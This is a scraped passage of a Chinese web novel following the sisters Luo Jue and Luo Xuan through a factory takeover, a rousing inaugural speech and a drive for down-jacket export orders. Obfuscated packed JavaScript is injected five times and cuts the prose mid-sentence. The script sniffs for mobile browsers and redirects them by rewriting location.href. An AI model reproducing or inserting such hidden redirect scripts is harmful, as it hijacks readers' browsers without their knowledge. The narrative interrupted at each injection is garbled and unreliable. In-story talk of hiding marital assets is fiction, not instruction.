她缓慢地鼓掌:“罗珏,我佩服你,我也可惜你,因为你即没投个好胎,也没有好运气。” 罗珏微笑:“是,我没有。” Cythnia说:“刚直都是特权。你没有这样的特权。我想,你已经很明白。” 罗珏又笑了。 只是,这笑容含义有点复杂。 罗珏说:“我明白。这个世界就是这样。口口声声说正义,哪会有人搭理,只怕还惹得一身骚。但成功了,有钱了,说什么都是对的,说什么都有人听。哪怕欺负别人,也能说这是别人的福报,别人也只能原谅你,还有人会相信你,还有人会感激你。” Cythnia闲闲地说:“我之前和你妹妹打过交道。她运气好,人太正了。我更喜欢你这样运气不好的人,只有你这样的人才更懂得社会。才会不择手段。从你利用法律漏洞帮我避税开始,我就知道,你是我要找的人才。” “我吗。”罗珏低低笑。“我当然也有看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360522|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清的时候,但我现在,已经看得很清楚。” …… 罗珏走出Cythnia的办公室。 她又想起罗璇被抓走的那天。 想起万高大吊死在床头。 想起王经理的谎言和工人们看向她的冷眼。 想起罗桑厂的覆灭。 衣服好端端地穿在身上,布料覆盖着她的身体。可是,可是——罗珏自嘲地笑起来。她所坚持的一切,或许不过是自己一厢情愿的、皇帝的新衣。 刚直是特权。 在这个世界里,她,和所有被欺辱、被损害的人,难道不是一直赤身裸体吗? 小人物啊,从来都是光着身子的。 可笑的是,直到自己亲妹妹替自己受过,她才意识到自己大错特错。 这衣服,穿和不穿,又有什么区别。 罗珏走进厕所,狼狈地抓着马桶,呕吐起来。 半晌后,她苍白着脸,用力按下抽水键。 她的手臂上,还残留着因劝阻工人借款而被划伤的长长的伤口。伤口反复发炎,至今没长好,皮肉翻开,如同一张呼号的嘴。 “上了桌,才能夹菜。不上桌,就只能变成一盘菜。”罗珏注视着水的漩涡,声音讥诮。 她的嘴唇用力抿成一条直线。 片刻后,罗珏微微笑起来。这是一个虚伪的、无懈可击的微笑。这个笑容,让她看起来很漂亮。 她从包里掏出一只玫红色的口红,缓慢地涂抹在嘴唇上。口红很艳丽,衬得她皮肤愈发白,黑发愈发黑。 人不会两次踏入同一条河流。 “从今天开始。”罗珏对着镜子里的自己,笑得非常漂亮。 “我就是另一个人了。” 第202章 离婚分财产&抢江西共青城的单 别墅区里,桥牌局一如既往地热闹着。 局头Evelyn最近请了个新荷官,对外宣称长得像电视剧《奋斗》里的米莱。 赵明德一向对“米莱”不感兴趣,嫌黑,嫌瘦,但他一听,还是表示想见识见识。于是他喊来王永昌和郎峰,Evelyn找了Cythnia,几人重新聚作一处。 “有人把你计划离婚转移财产的消息递给你老婆。”Cythnia告诉赵明德。 赵明德皱眉。 “谁。”他警惕地问。 Cythnia低声说:“我哥。” “**,果然是他!我就知道,珊瑚集团为了跟我争上海地块,不择手段!”赵明德咬牙。 荷官伸出手指,娇俏地点点赵明德的桌子,赵明德对着荷官露出个笑容。 “……怎么还不来?”郎峰正在问Evelyn。 “还有谁没来?”赵明德心不在焉地问。 他的目光追逐着荷官。 Cythnia看了看荷官:“老赵总,我以为你不喜欢这个类型的。” 趁着荷官转过身来,赵明德伸出粗糙的大手,摸了把荷官的手背,被她娇嗔着拍开。 赵明德哈哈大笑:“不喜欢这个类型,不代表不喜欢她嘛。” Cythnia微笑。 赵明德说:“Cythnia,我知道,你心里肯定嫌我花心,可我呢,就是这样,我就是看得顺眼的,都喜欢,都想要。我要是尝过一个女人就知足,怎么可能打得下这么多产业,对不对?老婆孩子热炕头,可没法帮我做大生意规模啊。你不能又要我打天下,又只想对牢一个女人。这不可能。” 赵明德愿意帮Evelyn的牌局拉人的唯一目的,就是新鲜女人。 Cythnia早就见惯不怪,哈哈笑着说场面话: “英雄配美人,江山多风流。” 顿了顿,她又说:“不过,美女爱英雄,爱的是什么?爱的是有用。你看看但凡那英雄老了,没本事了,可还有美人待见他?那些英雄美人的故事,结局不是垓下自刎,就是良弓藏走狗烹。反而那些能得善终的英雄,归宿是老妻老牛,田间地头。” 赵明德笑了两句,啧啧称奇:“你从小在国外读书,中文竟然还不错。” Cythnia转过脸,长长叹息:“这些,都是我妈说来骗自己的,我学到三两句罢了。这个世道,什么老妻老牛,没钱没权,谁还念你的情分!英雄早被花花世界迷了眼,哪个看得上田间地头!女人信这些,就是低估了人性。” 赵明德长叹:“阿郑太蠢,但凡有你半点通透,也不至于闹到今天这地步。但凡她睁一只眼闭一只眼,好好做自己的当家太太,我至于离婚?她自己没本事,丢到社会里根本活不下去,她凭什么就觉得,跟我领了一张结婚证,就比我有本事,就能指挥我了?为人处世的本事还能通过上床传播?她以为她操持家事那么点能耐,就算真本事了?有人说家务也算劳动,那我倒要问问,有职业资格吗?有职称评定吗?她能说服我、她比别的太太强吗?放在市场上,她有个屁的竞争力!现在倒好,跳起来给我添乱!” Cythnia很客观地说:“赵太没自己赚过钱,不晓得赚钱的凶险,所以低估了你。” 也低估了人性。 赵明德唾道:“真是命好,这辈子没做成过事,离了婚,我还得分一大笔钱给她!她这辈子最成功的事,就是嫁给我!” “好了好了,老赵总,不要总说实话——”郎峰骇笑着制止,“好歹装一装。今天都是自己人,这些话,你可不敢在外面讲啊。” 赵明德继续说:“所以我凭什么分那么多钱给她?都是我辛辛苦苦赚的,钱给了她,她未必能守得住,到时候不知道被谁骗走,便宜了别人!所以我宁可少分,绝不多分——” …… 正说着,门响动,罗璇走了进来。 Evelyn笑着迎上去,接过她脱下的黑色大衣。 赵明德唬了一跳,急忙把荷官的手撇开:“谁把小罗总喊过来的?” 王永昌把牌丢在桌面上,往前一推:“是我。” 赵明德站起身,皱眉抱怨:“我得给她赔罪,谁让阿郑当众羞辱她姐姐!唉!小罗总现在今非昔比,我该叫一声‘罗厂长’。我把人得罪大啦!” 王永昌哄笑:“老赵总,你也别挂不住面子,既然迟早都得赔罪,不如今天解决。我呢,就是受人所托,来给你们两个当说客的。阿郑得罪了罗珏,你打定主意离婚,也算处理态度端正,在这里给罗厂长赔个不是,握手言和。” 赵明德搓着手。他想开口,面子上又有点挂不住。 显然是自持身份地位。 王永昌对着罗璇努努嘴:“老赵总,咱们的供应链虽然不全在罗桑县,但县里的人脉关系毕竟攥在人家罗厂长手里,你说两句软话,又能怎样。” 赵明德看了看王永昌,又看了看Cythnia:“Cythnia,是你托王永昌当中间人的?” Cythnia说:“是罗珏。” “罗珏不恨我?”赵明德下意识重复:“她还托人协调我和她妹妹的关系?” “罗珏是聪明人。”Cythnia说,“不然你为什么挖她?” 赵明德摇头叹气:“唉,唉!这样的人才!那个蠢女人!” 他站起身,主动向罗璇走去,开口道了歉,承诺尽快离婚,又答应罗璇,此前他垫付罗桑厂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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罗璇又丢出几张牌,看着赵明德:“老赵总,既然你不想给你老婆分那么多钱,刚好我们计划成立一个公司,如果你愿意加入,利用这个公司,可以把你的资产做成负的,你老婆除了负债,一毛钱都分不到。而且,这次成了,你就能大赚一笔。” 赵明德又坐了回去。 片刻后,他看着王永昌和郎峰,喘着气问:“你们已经计划好?” 两人颔首。 赵明德转头问罗璇:“可以,我帮你谈。但罗桑县产业集群是做运动服的,和其他产业集群相比,还有什么优势?” 罗璇把手里的牌一散:“罗桑县产业集群,已经配备完全成熟的‘互联网+’产业模式,难道江西共青城的负责人,就不想和我们战略合作一番,也搞个‘互联网+’出来吗。” 赵明德怀疑地看着她:“这有用?” 罗璇看着赵明德,厚颜无耻道:“老赵总,我们现在在一条船上。我这边只有这些,其余的,您得想办法。您当真愿意离婚分出去一大笔钱?” 赵明德当然不愿意分钱。 他陷入沉思。 荷官微笑着把牌抹平,轻轻说:“这一把,是罗厂长赢了,各位,给钱吧。” 第203章 罗璇的厂长上任仪式 罗桑厂的新厂长上任仪式,和从前相比,堪称简陋。 关系王主动请缨,愿意独家赞助会场布置,被罗璇否了。 用关系王的话说,现在各方都在唱衰新来的罗厂长,如今连会场都不布置,岂不是显得罗厂长更凄凉?谁家厂长这样穷酸派头?既然自己是罗厂长嫡系中的嫡系,心腹中的心腹,给罗厂长的就职典礼赞助布置,简直天经地义…… 但罗璇说,简陋就简陋,罗桑厂反正没钱,所有人都知道,布置又有什么用?就好比一个人,前胸膛漏风,后裤腰破腚,还跳什么舞,不怕扭一扭,把屁股露出来? 话糙理不糙。 不过,开车接到罗璇,关系王立刻炸了:“你就穿这?” 罗璇坐上车,低头看了看自己身上的红色运动羽绒服:“咱们县自己做的羽绒服,这不是挺好的吗。红色,鸿运当头。” 关系王气了个半死:“人人都不看好你,偏偏你自己也不争气!人靠衣装马靠鞍,多少双眼睛盯着你,你穿成这副穷酸样,你怎么代表我们这个产业集群的形象?!” 罗璇单手插兜,另一只手还拎着个黑色塑料袋:“这才是务实的样子嘛。” “我知道你想看起来很亲民,但就凭一身衣服,有啥用?”关系王恨铁不成钢,“好几个祖宗等着看你的笑话,我真怕他们拍了你的照片,给你发到报纸上去!” 罗璇看了看时间,拍拍关系王的肩膀:“行啦,倒是你,快回吧,别被工人抓到,再挨一顿打。” 关系王气得按了两下车喇叭,悻悻离开。 …… 罗璇的厂长就职大会,由张东尧主持。 赵**亲自宣布任命,并发布了简短的讲话。 赵**的讲话不多,四平八稳,鼓励工人们把罗桑厂再建起来,台下响起稀稀拉拉的掌声。 台下的工人数量不如以往那么多,有好大一部分工人在罗桑厂停产的时候,在政府组织的招工中离开。 **中,原厂办主任王亮带头把厂里的机器偷拉出去当废钢卖,很多人效仿。后来王亮等人都被抓了,但贱价卖掉的机器是回不来了。 如今,罗桑厂就是这么个七零八落的样子。罗璇没有去布置会场,哪怕罗桑厂整个擦洗打扫过,呈现出来的面貌也依旧灰败不堪。 面貌低落,往往不是因为贫穷,而是因为没有希望。 ——或许这就是**出现的原因。 凋敝了许久了罗桑厂又阴又冷,很多人没穿羽绒服,缩着脖子窝在台下,一张张脸因为寒冷。带着沉默和忍耐。 …… 赵**很忙,原本讲完话就要走,可看着罗璇穿着一件红色的羽绒服走上破旧的主席台,一张过分年轻的脸,看起来就办事生嫩,怎么心里都不放心,甚至有点怀疑自己是不是选错了人。 于是他破天荒地坐下,严肃地审视着自己为罗桑县产业集群的支柱——罗桑厂,挑的新任当家人。 旋即,他看到罗璇手里还提着个黑色塑料袋。 这算什么。 太紧张,忘记放在台下了吗。 赵**皱眉。 …… 罗桑厂外。 “只要我们问罗厂长,我们的钱怎么办,你就给我们每个人1000块?”几个工人狐疑地问。 “你们得当众问。”那人说。 “就算问了,罗桑厂也没钱发给我们。” “所以你们更要问了。”那人说,“罗桑厂不是承认了你们集资吗?既然你们有股份,那你们就得分红啊,你们当然得问问新厂长,什么时候才能分红?准备怎么做?” “去吧。” 一叠红票子拿出来。几个工人对视一眼,收了。 “罗厂长差不多该上台了,大家都关心钱,快去问问。” …… 罗桑厂另一边。 几十个供应商凑在一起,其中一个拿出十几条白色横幅,给众人发: 无良罗桑厂,还我血汗钱 “我们几个进去,等厂长开始讲话,就举白幅。厂长讲完话,我们就问,罗桑厂欠供应商的货款什么时候才能结。” “你们就在门口围着。现在有厂长了,让厂长给个交代。” “对,不能说老厂长**,这笔账就不认了,我们总得有活路啊。” “既然罗桑厂没钱了,为什么不把机器和地皮卖了呢?我们身后还有多少员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367465|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工和家庭啊!” “拖欠的货款,是我们这几年的全部利润,这下子全没了,这几年都白做了。” “如果今天罗厂长答不上来,不给解决方案,我们就去市政府**。既然罗厂长担不起欠款,就找个能担得起欠款的厂长来。” …… 罗璇走上台。 这段路不算短也不算长,身上的红色羽绒服有些厚实,罗璇的额头渗出一些汗。 罗桑厂的大门打开,稀稀拉拉一些人缓缓走进来。 赵**坐在台下,后背抵着椅背,双目紧闭,似乎在忍耐着什么。罗璇拎着黑色塑料袋走到台上,还没等站稳,只听下面一阵骚动,阵阵惊呼。 她往台下一看,几条白幅像伤口一样横亘着。 无良罗桑厂,还我血汗钱。 举着白幅的人沉默地盯着她,目光不善。 人群骚动起来,工人们纷纷看向举白幅的人,窃窃私语的声音如同细雨,渐渐席卷整个会场。 有相机的闪光灯对着白幅亮起来。 罗璇站在台上,清了清嗓子,但没人看她。 人们要么交头接耳,要么看向举白幅的人。 张东尧低声问:“赵**,要把人弄出去吗。”他指了指手机,又说:“供应商围住罗桑厂大门,也在举白幅。” 赵**低声责问:“这场就职仪式,怎么没锁门?” 张东尧问了几句,回头说:“罗厂长不让锁。说,想来听的,都可以来听。” “胡闹!”赵**脱口而出,“认不清局势!” 他又气又急地看向台上,看见罗璇清了清嗓子,但没人理她。赵**恨铁不成钢:“还是太年轻!” “你赶紧联系老戴。”赵**安排张东尧,“我担心供应商**,等下罗璇走不掉。你让老戴带几个便衣过来,维护一下秩序。堂堂罗桑厂厂长,就职第一天就被供应商围着打,传出去不像话!” 张东尧应了声,皱眉看向台上。 罗璇手里还提着黑色塑料袋。 赵**的视线落在黑色塑料袋上,顿时感觉自己已经逼近忍耐的极限。他深吸一口气,靠在椅背上,不愿再看,用力闭上双眼。 第204章 权力应该换成钱吗&掏空两代人的财富 罗璇用力把黑色塑料袋拍在台上,台面上传出“咚”的一声响。 所有人的目光都看过去。 罗璇用力扯开黑色塑料袋,里面露出一瓶茅台,两条中华,两盒茶叶。 一片惊呼声席卷会场。 这下子,没人去看拉着白幅的人了。所有人都盯着台上那堆东西看,双眼发亮。 罗璇指着台上的东西,大声说:“在我还不知道自己要做罗桑厂厂长的时候,已经有好几拨人要向我‘汇报工作’了。这些日子,我总算知道,这工作,都是怎么汇报的!我也总算知道,罗桑厂是怎么被人掏空的!” 新厂长一上来就开骂,骂得如此犀利,张东尧只听见四周倒吸凉气的声音。 全场哗然。 赵**猛地睁开眼,上半身弹起。 罗璇没停,继续不停歇地说:“他们凭什么给我送礼?我算什么?父老乡亲都知道我,一个小女孩子,红星厂的女儿,你们多少人都是看着我长大的!有人说,我今天上台讲话,多少人盯着我看,我要装出个样子来——可是,乡亲们!我有什么可装的?!” 罗璇指着自己身上的羽绒服: “我就是罗桑县长大的女孩子,从小穿样衣长大,难道就因为你们把我捧到这高台上来,我就镀了金身,我从此就不一样,我从此就能享用这些——这些茅台!这些中华!这些茶叶!我能吗?你们捧我上来,是为了让我装样子的吗?” 工人们张大嘴。有人稀稀拉拉地高声说:“——不能!” “所以,你们说,我是谁?”罗璇指着自己。 “你是罗璇!”工人们喊起来。 “——我是罗璇!”罗璇举起一只手,高声说,“我不站在这里,我是罗璇,我是罗桑县的女孩子;我站在这里,做罗桑厂的厂长,我还是罗璇,我还是罗桑县的女孩子!我就是一个普普通通的罗桑县人,我心里装着家,我就想咱们家好!你们说,这些东西,我能收吗?我该收吗?我敢收吗?!如果我收了,我还有脸在家里待下去吗?我还有脸面对你们吗?!” 工人们吸着凉气,抬起脸,面上因为激动泛起光泽。 王婶混在人群中,用手背轻轻抹了抹眼角。 “郑厂长**!王经理**!他们死于什么?死于贪婪,死于懦弱!人都有欲望,但人要学会克制自己的欲望!无法克制贪欲的人,胆子再大,也是懦夫;穿得再好,也是乞丐!前阵子,我们罗桑厂,**多少人?造成多大的损失?这么沉痛的教训,有些人就是不吸取。权力,来自于乡亲们的信任。但有人用这份信任,把这份权力拿去换钱,这对吗?” “不对!”工人们吼起来。 罗璇拧开茶叶罐,现场的议论声猛地爆发,因为罗璇从茶叶罐里掏出几卷厚厚的百元纸钞。 “这两盒茶叶,是供应商送我的,说是王经理留下来的老规矩。我一打开,这是什么?里面是三万元的纸钞!我请问,供应商兄弟们,你们每年的利润才多少?给我送这些钱,合适吗?你们是心甘情愿的吗?难道罗桑厂一直以来,都是这样的合作模式吗?” 白幅猛烈地摇晃起来。供应商颤抖着嘴唇,高声喊起来:“可我们活不下去了啊!我们不送礼,你们都不给我们结款!” “结款。”罗璇点点头,看向工人,“还有什么问题?” 工人们犹豫地看着罗璇。有人想说话,被旁边的人拉住:“不许拆罗厂长的台!” 罗璇笑了:“今天我来,就是要把话说开的。”她指着自己身上的羽绒服,说,“跟我,你们还怕什么?你们都是看着我长大的,雪灾我都跟你们站在一起,难道我今天站得高了点,你们就不认识我了?就不敢说话了?雪灾的时候,你们砸过我家的门,我还把你们锁起来,还记得吗?” 现场响起一片善意的笑声,有些人涨红了脸:“这事过不去了。” 于是,有工人问:“那我们的集资——” 罗璇举起两根手指:“所以现在是两个问题。供应商的货款什么时候能结?工人的集资怎么办?” “对!”全场高呼。 赵**用力抓住张东尧的胳膊:“她……她都在讲些什么!” 张东尧皱着眉,死死地盯着台上。 罗璇说:“我一桩一桩来。工人的集资,罗桑厂认下了;工人的借款,县里出面用低息贷置换了。这没什么可说的。上个月的工资,本月10号会准时发放——” 现场热烈的掌声淹没了罗璇的话。 赵**唾道:“我舍了这张老脸,找之河服装集团借了两千万的款!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367466|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>掌声结束,罗璇说:“罗桑厂还有一个银矿,预计今年年中能收回成本;还有一块地皮,也有资金回笼。也就是说,从6月开始,供应商兄弟们,你们的货款,我们会根据付款时间先后,逐一结清;工人兄弟们,也不必再担心工资。我们只要扛到6月。” 供应商听了,却很不满意,梗着脖子说:“罗厂长,既然您说,把话说开,那我们也就不客气了。6月才开始回笼资金,回笼多少,还不知道。等发到我手上,有多少,也不知道。最重要的是,我们的钱全压在罗桑厂这边,能不能活到6月,都是个问题!我们背后还有很多员工和家庭等着吃饭,光是等回笼资金,这只是个虚无缥缈的承诺。” 工人们也开始发问:“是啊,厂里虽然认了我们的集资,县里也帮我们置换了低息贷,但贷款不还是得我们自己还吗?我们那点工资,用来填贷款的窟窿,也是九牛一毛啊!可厂子这个情况,还能有分红吗?有人掏空了罗桑厂两代人的财富,可这并不意味着,我们这一代人就应该被牺牲啊!” 这一下子,刚刚还热烘烘的氛围一下子冷了下来,所有人都清醒了。是啊,就算资金回笼了,就算工资顺利发放了,可贷款的窟窿怎么办? 内债不是债,那是罗桑厂高层看着数据说的。 化债,对于每个普通工人来说,都是一座沉重的大山。 “钱呢,我们的钱究竟流去哪里了啊?!”有个老工人流着泪,“怎么就全没了呢?” “是啊,辛辛苦苦大半辈子,听厂里的话过来的,可怎么听着听着,我的钱,全变成贷款了呢?” “我们钱究竟去哪里了?” “怎么还贷款啊!” 众人嘶吼起来,有人哭,有人叫,有人扭曲了面孔。绝望吗?绝望的。迷茫吗?迷茫的。但绝望和迷茫都毫无意义,因为他们都是小人物。只需要一根手指,轻轻碾压,或者落下一粒灰,他们的人生就要万劫不复。 人生如夜行船,只要大船倾轧下一个浪头,就有灭顶之灾。 绝望和迷茫交织成恐惧。恐惧死亡,恐惧寒冷,恐惧未来与明天——恐惧的浪头越来越高,眼看着会场里越来越乱。 而罗璇伸出手,压了压。 霎那间,会场里一片寂静。 第205章 转移矛盾,对外战争&罗桑县新的希望 赵**有些难以置信地看着台上的女孩子。 办事生嫩?不不不——这手法,这声音,这样子,她已经掌控了全场的节奏。现在,所有人都屏息凝神,急着听她的话。 “……哎呀,这孩子,话太多了点。”赵**慢悠悠地说。 张东尧怎么听,都从赵**的话里,听出一点淡淡的自得。 于是他试探:“您没用错人!” 赵**摆摆手,绷紧面孔,口中谦虚:“小孩,小孩,还得再观察。” 张东尧懂了。 赵**这是炫耀起来了! …… 和会场中的惊涛骇浪相比,罗璇的声音范围反而得很平静。 她平静地说:“过去的罗桑厂已经**。罗桑厂没钱了,停产了,死得透透的,只剩一具壳子。别回忆啦!旧时代过去了!你们再指望过去那一套,不可能了。如果我们继续吃老本,指望着旧资产,老客户,卖地卖机器,我们的问题不会得到任何解决,我们还是没有钱。罗桑厂还是会死,或早,或晚。” 广场上,不知何时起,已经满是黑压压的人头,一眼望不到边。 赵**回头看了下,倒吸一口冷气。 什么时候来了这么多人? 为什么罗桑厂能容纳下这么多人? 他定睛一看,原来罗桑厂厂门打开,人挤满了整个操场,又挤到了外面的街道上去。 张东尧低声说:“半个罗桑县的人,都聚在这里了。” 这不奇怪。罗桑厂的死活,关系到罗桑县的死活。 无数人如潮水般挤在罗桑厂狭小的操场上,挤在罗桑厂外面的街道上,挤在网球场里。密密麻麻的人,穿着暗色的厚衣服,站在寒风里,压抑的面孔,却有着特别亮的眼睛。 密密麻麻的人,鸦雀无声,死死地盯着罗璇,等着她讲话。 罗璇举起话筒,所有人的头不自觉地跟着话筒转动出一个微妙的角度。 “生生死死,死死生生。旧的时代落幕了,罗桑厂**。我们中的一些人也**,但也有一些人选择活下来!一个完全不同的时代来临了!从现在开始,我们必须放弃过去的一切,放弃过去的老做派,老思路,放弃躺在固定单子上吃吃喝喝,我们必须认清现实,必须吃尽千辛万苦,想尽千方百计,如果罗桑县是一个小岛,我们就要主动出海!赚到钱,活下去!” 会场一片死寂。 众人高高地抬起头,努力睁大双眼。 “诸位,现在欧洲能源危机,羽绒服订单供不应求——” 供应商喃喃自语:“那也轮不到我们啊。”他死死盯着罗璇。 罗璇猛地拉开红色羽绒服拉链。她把红色羽绒服脱下来,高高举过头顶,宛如一面红色旗帜。 “所以,我们要主动出击,去抢羽绒服订单回来!我们罗桑县集体作战,外面那些个体户,不可能是我们的对手!现在已经到了罗桑厂生死存亡的关键时刻,老单子不够吃,我们就去外面找新单子回来!大家都知道羽绒服的利润,我现在可以宣布,我已经谈妥了第一批羽绒服订单,我相信,很快就会有第二批、第三批!赚到钱,我们就分红,我们就发奖金,我们就给供应商结款!” “为什么后来者居上,因为后来者又争又抢!” 供应商“啊啊啊”地尖叫起来,把白幅一丢,张开手臂:“出海!去抢市场!” 现场骤然爆发出潮水般的欢呼和雷鸣般的掌声,喧嚣声如同罗桑河水一股一股传出去,越传越远,哪怕是罗桑县最遥远的角落,都有欢呼声。 在很遥远的地方,不知是谁点燃了鞭炮,噼里啪啦的声音传出来。很快,在更多的地方点燃了鞭炮。 罗璇站在台上,举起一只手,高呼:“再造一个罗桑厂!” 无数人跟着喊:“再造一个罗桑厂!” 张东尧皱眉咂摸半天,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367467|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得眼前一幕颇为眼熟。 他想了半天,忽然想起从前读过的所有历史书,恍然大悟: 这是经济搞不起来,民众负担沉重不堪,需要转移矛盾,所以—— 发动对外战争啊? …… 赵**疑惑地站起身:“集体行为?抢单子?去哪里抢单子?” 张东尧下意识说:“去江西共青城,抢他们的外溢羽绒服订单。” 赵**皱眉:“能抢来?” 张东尧下意识说:“共青城的外贸羽绒服订单排到明年去,根本做不过来,其他承接外溢订单的都是私人小厂,我们罗桑厂可以汇聚整个罗桑县产业集群的力量,降维打击。” 赵**盯着张东尧看了半天,忽然说:“你很熟?” 张东尧住了嘴。 他想起,自己考察过江西共青城的羽绒服产业集群后,把方案递给罗璇,极力劝说她去拉些单子。 而罗璇采纳了他的建议,居然把事情办得这么大! 入局的人越多,规模越大,事情越容易办砸,但一旦成功,就是轰轰烈烈的成功。 罗璇好大的胆子! 张东尧看着罗璇,想起她每次的行事,不得不佩服。 手机响了一下。 张东尧的目光凝滞了。是医生的短信:“你姐的手指动了!” 张东尧放下手机,转过头,又看向台上的罗璇。他站在欢呼的人群里,笑着拍手,笑着流泪。 罗桑厂一定有救。他坚定地想。就和他姐姐一样,一定还有救。 罗桑厂还会再活过来。他姐姐也会活过来。他会如愿拿到博士学位,毕业留校,在之河市买一个小房子,把姐姐接到家中,从此一生安宁而平静。 张东尧看着台上的罗璇,转头又看了看赵**。 “衰败不是因为贫穷,而是因为没有希望。” “而现在,至少,我们有了希望。”他抹了把眼泪,笑着说。 第206章 贸易战,开打!&流感 新上任的罗厂长拉拢到尚雅集团的赵明德,依托赵明德的关系,从江西共青城羽绒服产业集群撕下一批肥美的羽绒服订单。 立刻有人把罗珏和赵明德的绯闻翻出来说。 但在巨大的经济利益面前,根本没人在乎这单子是怎么来的。 那点绯闻很快就散了。 罗桑厂的机器轰隆隆响起来,周边大中小工厂的夜灯也亮起来,罗桑县再次24小时灯火辉煌。开机的鞭炮声不停歇地飞遍了整个罗桑县,拉货的、拉料的车重新在路上疾驰,罗桑厂门口的日结工招工市场也重新热闹起来。 人们的脸上终于重新洋溢起笑容。 张东尧跑去看了姐姐几次。 虽然希望渺茫,但至少还有希望。 他将罗璇去江西找单子的行为,戏称为“发动对外战争”,这种戏谑的说法很快传遍了整个罗桑县。 时值美国与伊拉克打仗,远处的新闻和当下的境遇隐约重叠,更为这位新厂长平添一份谈资。 张东尧看得清楚,无论罗璇这厂长的位子坐得稳、坐不稳,至少她得了民心。 奥巴马上台后,承诺从阿富汗撤军,这下子,罗桑县的男人们无论高矮胖瘦,齐齐化身军事大师,围拢在罗桑厂前门招工小广场上,指点局势。 “哎呀,打仗也不是凭空打的,那是要烧钱的!” “没钱,没钱还打什么仗!” “胆小,把伊拉克打掉啊!” “美国现在闹金融危机呢,美国没钱啦。再说了,美国跟伊拉克打这么些年,钱烧都烧干了。要我是奥巴马,我也撤军。” 报刊亭挂着的小电视正起劲地播放美伊战争,下方滚动一行小字新闻: “美国制定经济刺激计划,提出“购买美国货”条款,引起国际公愤。” 工人们没注意这条小字,他们正分吸着自家卷的廉价烟。 “美国货有什么好买的,来来试试这条烟——” …… “美国这是要打贸易战啊。”赵**把烟重重按在烟灰缸里。 张东尧给罗桑县纺织协会众人解释:“‘购买美国货’条款,指美国经济刺激计划支持的工程项目必须使用国产钢铁和其他制成品。” 解释完了,满屋子工厂主该打电话打电话,该玩手机玩手机。 有人说:“美国的事,跟咱们罗桑县有什么关系?” 又有人说:“罗桑厂外溢的羽绒服订单工期挺赶的,要是就为美国这事,我先回去了。” 会场嗡嗡嗡响,乱成一团。 罗璇倒是听懂了,转身给大家解释:“美国要跟我们抢钱!” 会场一下子安静了。 罗璇挥着拳头说:“自从中国WTO——我再说清楚一些——自从2001年以来,我们县服装赚的钱,大部分是从国外赚的,依托的,就是国际贸易自由。现在美国翻脸不搞自由贸易了!他们不跟我们做生意了!” 这下子,工厂主们大惊失色:“哎呀呀,美国没钱了,不买我们的运动服了?” 罗璇重重点头,工厂主破口大骂:“**死黑人——” 罗璇骂得比工厂主还脏:“奥巴马没钱还做什么生意,穷鬼——” 工厂主们重重点头:“罗厂长骂得对!” 会场又乱起来,大骂美国,如同沸水。 张东尧和赵**对视一眼,两人皆是无奈地笑。 “人类历史就是螺旋。”赵**对张东尧感慨,“历史上,美国大萧条以后,也是大搞贸易保护主义,全球贸易基本中止。” 罗璇“嗯”了声,从骂美国的阵营中回过头:“**您喊我?” 赵**头痛地挥手:“去,去,骂美国去。” “好勒~”罗璇转过头。 张东尧说:“您指的是《斯姆特-霍利关税法》?胡佛政府在1929年大萧条后提高进口关税?” 赵**皱眉:“贸易保护主义就是一场传染病!” 老戴插嘴:“贸易战就是灰指甲!得了灰指甲,一个传染俩!美国得了灰指甲啊!” 赵**骂回去:“你这混不吝,武夫!没问你!去去去!” 张东尧说:“如果美国要提高进口关税,那就真的开打全球贸易战啦。1929年美国提高进口关税,其他国家非常不满,立刻报复美国的出口商品。确实,这就是传染病!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 